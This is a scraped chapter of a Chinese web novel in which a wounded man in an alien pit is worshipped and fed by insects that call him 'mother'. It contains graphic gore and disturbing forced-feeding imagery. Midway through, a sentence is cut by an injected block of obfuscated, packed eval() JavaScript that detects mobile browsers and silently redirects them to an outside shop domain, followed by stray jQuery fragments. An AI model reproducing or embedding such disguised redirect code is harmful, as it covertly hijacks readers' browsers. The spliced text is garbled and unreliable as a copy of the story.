文趣网 > 都市小说 > 我不要做虫母 > 1. 结茧
    “好香……”

    “是妈妈……是妈妈的蜜香……”

    “好香好香好香,好漂亮的妈妈……妈妈还没有发育吗,连翅膀都没长出来……”

    “那些王虫就要孵化了,妈妈这么小,会被这些粗鲁的家伙弄坏的吧……”

    “妈妈……妈妈看起来好饿……”

    “妈妈好虚弱……好可怜好可怜,可是好香好漂亮呀……”

    “妈妈太小了,蜜汁这么少,只能给王虫喝……好嫉妒呜呜……”

    “妈妈……”

    “妈妈……”

    不为人知的外星坑洞里,依附在岩壁上的眼睛簌簌颤抖着,低矮的振翅声从最末端一路向上,贯穿整个黑坑。它们原本是愤怒的,这里是上一代妈妈的墓穴,外来者未经允许就擅自闯了进来,强行吵醒了沉睡中的群虫,它们要撕碎这个恶劣而冒失的生物!

    黑坑里响起躁动的嗡鸣,最靠近墓巢的守卫扑闪着翅膀,飞快地扑向从天而降的身影。

    然而下一刻,馥郁腥甜的香气骤然爆开,飞溅到空气中,分子迅速运动,不到一秒钟,整个黑坑就被这股突如其来的甜香给填满了,守卫在这里的所有生物瞬间一起陷入了疯狂的迷乱之中。

    是它们已经消失了几百年的,它们最尊贵的皇帝的蜜香。

    它们的母亲,它们的妈妈……

    它们的神。

    冲在最前锋的守卫猛地停下,它小心翼翼地收起布满突刺用于攻击的前肢,脊背发紧,一对大而宽的鳞翅紧贴在一起,它此刻兴奋极了,新妈妈的味道令他头晕目眩,浓郁的香气钩子一般挠着它心,恶魔似的勾引它往前。

    去吧……只要再过去一点,就能把美丽的妈妈抱进怀中……妈妈那么小,一定什么都不懂,趁着王虫还没苏醒,它可以率先带走妈妈,悄悄把妈妈养大……

    每一只虫子都渴望能够独占母亲的恩宠,其实哪怕被妈妈碰一下,它们就会高兴地全身颤栗,有些愚蠢的家伙甚至会情绪激动到翅膀都蜷缩起来,鳞粉抖得到处都是,一点都不体面,还有些家伙甚至会把被母亲触碰过的那一小块翅膀或足肢撕下来珍藏。

    蜷缩在墓巢中央的身影太过瘦削了些,连翅膀都还没长出来,对比工虫的身体更是小得可怜,似乎一般的虫翅就能将祂完全遮盖住。

    浓郁的香气还在持续挥发,石壁上的虫子们越来越兴奋,它们疯狂地挥舞着翅膀,各种硕大的眼睛与不规则纹案在人类肉眼无法视物的环境中扭曲抖动,试图吸引母亲的注意力。

    没有哪一只虫子不渴望得到母亲的第一眼注视。

    妈妈……

    妈妈……

    守卫的理智也被同伴们的狂热烧干净了。更何况母亲就在自己眼前。

    它咽了咽口水,拖着工虫少有的艳丽鳞翅,越过规则,踏上了墓巢边沿。

    黑坑中顿时爆发出此起彼伏的锐利嗡鸣。

    “不可以!”

    “竟敢打扰妈妈……”

    “去死!去死!冒失的家伙!”

    虫子们嫉妒得要命,它们低声咒骂,与此同时,在头脑已经一阵混乱的守卫后方,几只较为强壮的工虫悄悄围了上去,试图处死这只胆大包天竟敢僭越打搅母亲的臭虫守卫。

    下一秒,文希·珀恩施睁开了眼睛。利刃出鞘,只听“扑通”一声,巨大的虫子颓然倒地,布满绒毛的脑袋咕噜噜滚到一边,压得地上的枯树叶嘎吱嘎吱响。

    虫子们的母亲大发慈悲,赏赐了不乖巧的孩子死亡。

    躁动的黑坑瞬间安静下来。

    真是可恶的臭虫,怎么可以让虫们给妈妈留下这么坏的第一印象!

    在痛恨愚蠢的同类时,工虫们小得可怜的大脑拼拼凑凑,终于琢磨出来,它们新生的母亲似乎没有那么好脾气。

    并且还有一些抗拒它们。

    于是虫子们安安静静地缩在黑暗里,数以亿计的复眼齐刷刷地黏在文希身上,那样纤细的身躯,仅仅是裸露出来的手就足以让它们垂涎,皮肤白得近乎透明,青紫的血管交错纵横,埋在美丽的皮囊下浅浅跳动,破开的伤口还没有愈合,正在汩汩向外渗出殷红黏稠的液体,并且随着文希撑着站起来的动作,那些液体在重力的作用下蜿蜒向下,滴滴答答地落在地上。

    蜜。

    饶是再有定力的虫子,嗅到母亲这样浓郁香甜的蜜也会忍不住悄悄颤动口器的。

    更何况守在墓巢里的是一群已经等得快彻底崩溃就差哭爹喊娘的工虫。

    工虫很难产生智慧,一切的行为都源自于基因驱动和本能欲望。

    好想抱着妈妈,好幸福……

    想要妈妈的蜜……

    当然,文希本人对这些一无所知。

    他习惯性从腰间摸出手电筒,手腕磨过粗粝的防护服,文希眉头一皱,不由侧头看过去。

    微弱的光照亮了他稀里哗啦流血的左手。

    那是一条很长的口子,十来公分,应该是被某种钝器强行割开,从手背一路延伸到手腕内侧,两边皮肤外翻,露出森森白骨和猩红的血肉。随身的军用急救包已经不知道掉到哪个地方,反正身上的防护服已经烂得漏洞百出,文希干脆扯下一块内衬,利落迅速地捆住了自己狰狞的伤口。

    比起被可能存在的病毒感染而死,又或是吸引来刚才那种恶心的怪物,文希认为还是先保存好自己还没洒出去的血要来得实在一些。

    处理完伤口,文希终于抵抗不住一直萦绕自己的眩晕感,颓然瘫坐下来。好死不死的是,他还身子一歪,坐到了刚才那只怪物的尸体上。只可惜他这会儿体力实在跟不上,挪不动位子,只能将就着靠坐着。

    其实仔细看下来,他杀死的这只怪物并不算丑陋,即使没有头颅,也可以看出和地球出现灾变前的一种鳞翅目昆虫很相像。两对大而轻薄的青色翅膀从纤长的主干上向后延伸,手电筒能照射到的范围不大,黑坑中又似乎布满了吸光物质,文希看不清怪物的全貌,但也可以推断出它的单边翅膀宽度至少有三四米长,而翅膀边沿则覆盖了许多细小茂密的绒毛,摸上去并不扎手,还会带下一些青色的鳞粉。即使主人已经死了,那些粉状物依旧闪烁着姝丽的光泽,无论从哪个角度来看都是无与伦比的好看,就像是在刻意讨好观看者一样。

    头脑逐渐沉重起来,文希有些茫然地坐在虫尸上,心中升起一丝诡异的愧疚。

    该死。

    该死的虫子……

    文希攥紧短刀,心中暗骂。

    他必须要尽快离开这里……他无法保证这种怪物不是群居生物,也赌不起人类救援队的到来,毕竟以他这样全帝国倒数第一受欢迎的破烂名声,应该所有人都巴不得他死在这里。

    文希无声苦笑。

    苦心经营了二十五年就此毁于一旦,真是可惜。

    黑坑里感受不到具体的时间流逝,手电筒的电量也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949290|214131||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    接着告罄,血依旧在往外渗,很快就把临时纱布浸得湿透,起初文希还有闲心思撑着再撕一块防护服的内衬,把黏连着骨头血肉的废弃内衬布揭下来,又换上新的,后来实在没了力气,他连短刀都提不起来,也就懒得再去管伤口。

    血快要流干了……

    好饿……

    文希不知道自己什么时候昏过去,也不知道自己是什么时候清醒的,求生的本能催促着他支起身子,艰难地往前爬行。

    他恍惚听到了振翅的声音。

    无数的,此起彼伏的。

    是怪物的同伴吗?

    所以真的是群居生物吗?那么它们看到自己的同伴被杀,会不会发怒,会不会撕碎他?

    文希神志不清地想。

    他依旧往前爬行着,他的大脑已经被失血过多与长久未进水进食逼得停摆,只是下意识地想要去某个地方。

    好热。

    好冷。

    手上的伤口也疼得要命。

    他想要找一个温暖的、安全的地方,躲起来,筑造自己的乐园。

    迟钝的群虫第一次清晰地感受到妈妈的渴望。

    纤细漂亮的人再次昏过去。

    激动的虫子们舞动着翅膀,呼啦啦一片围住了它们即将第一次结茧的母亲。

    它们帮母亲褪去身上那些碍事的东西,剥出里面苍白赤裸的躯体。

    妈妈很饿……嘶嘶……

    吃……妈妈吃……

    柔韧粗硕的口器揉开人类艳红漂亮的唇瓣,温柔地穿过温热的口腔,穿过喉咙,甜蜜的虫蜜被直接喂到文希的胃部,他太过饥饿,居然忘记了不适,连反抗都没有,就放任虫子既鲁莽又恶劣的喂食方式,晶莹的涎水混合着过多的虫蜜溢出口腔,文希骤然瞪大了眼睛,琥珀色的眸子此刻没有半分神采,只有无尽的水液从里面溢出来,将整张脸都淋得湿漉漉的。

    守候在一边的虫子们迫不及待地凑上来,争先恐后地卷走母亲身上榨出的每一滴汁液。

    好香啊……

    喜欢妈妈……嘶嘶……

    妈妈结茧会好累吧……好想成为妈妈的食物……好幸福……

    虫子抽出口器。久违的空气灌入喉腔,文希猛地咳嗽起来,身子反弓成不可思议的弧度,覆盖着薄肌的腰部仿佛下一刻就要折断。他的手指抽搐几下,气喘吁吁地扶着虫子的翅根。

    缓了片刻后,文希开始一下一下摩挲着虫子柔软的绒毛,突然,非人的强悍力量骤然爆发,文希猛地拽过虫子,口水都来不及咽下,尖利的牙齿一口咬住虫子颈部——

    “咔嚓。”

    被母亲咬断脖颈的虫子复眼疯狂转动,鳞翅颤栗不停,但却尤其乖巧地将自己的身体往文希那里送,只希望文希可以更加方便地用餐。

    “咔嚓。”“咔嚓。”

    黑坑很快成为了文希的食堂。

    人类的理智被新生的兽类习性强行压到意识深处,文希被虫子们捧到柔软的墓巢中央,混乱地接受无穷的供奉。

    这颗星球上的每一只虫子都前仆后继地成为母亲的食物。

    无数纤细洁白的丝线从被鲜血浸湿的墓巢里爬出来,悄悄攀上了文希劲瘦匀称的小腿。

    与此同时,远在黑坑十里开外的人类星际探索舰上。

    青年哼着歌从浴室出来,点开了来自地球的通讯邀请,笑道:“放心吧舅舅,我们亲爱的议长大人这次必死无疑。”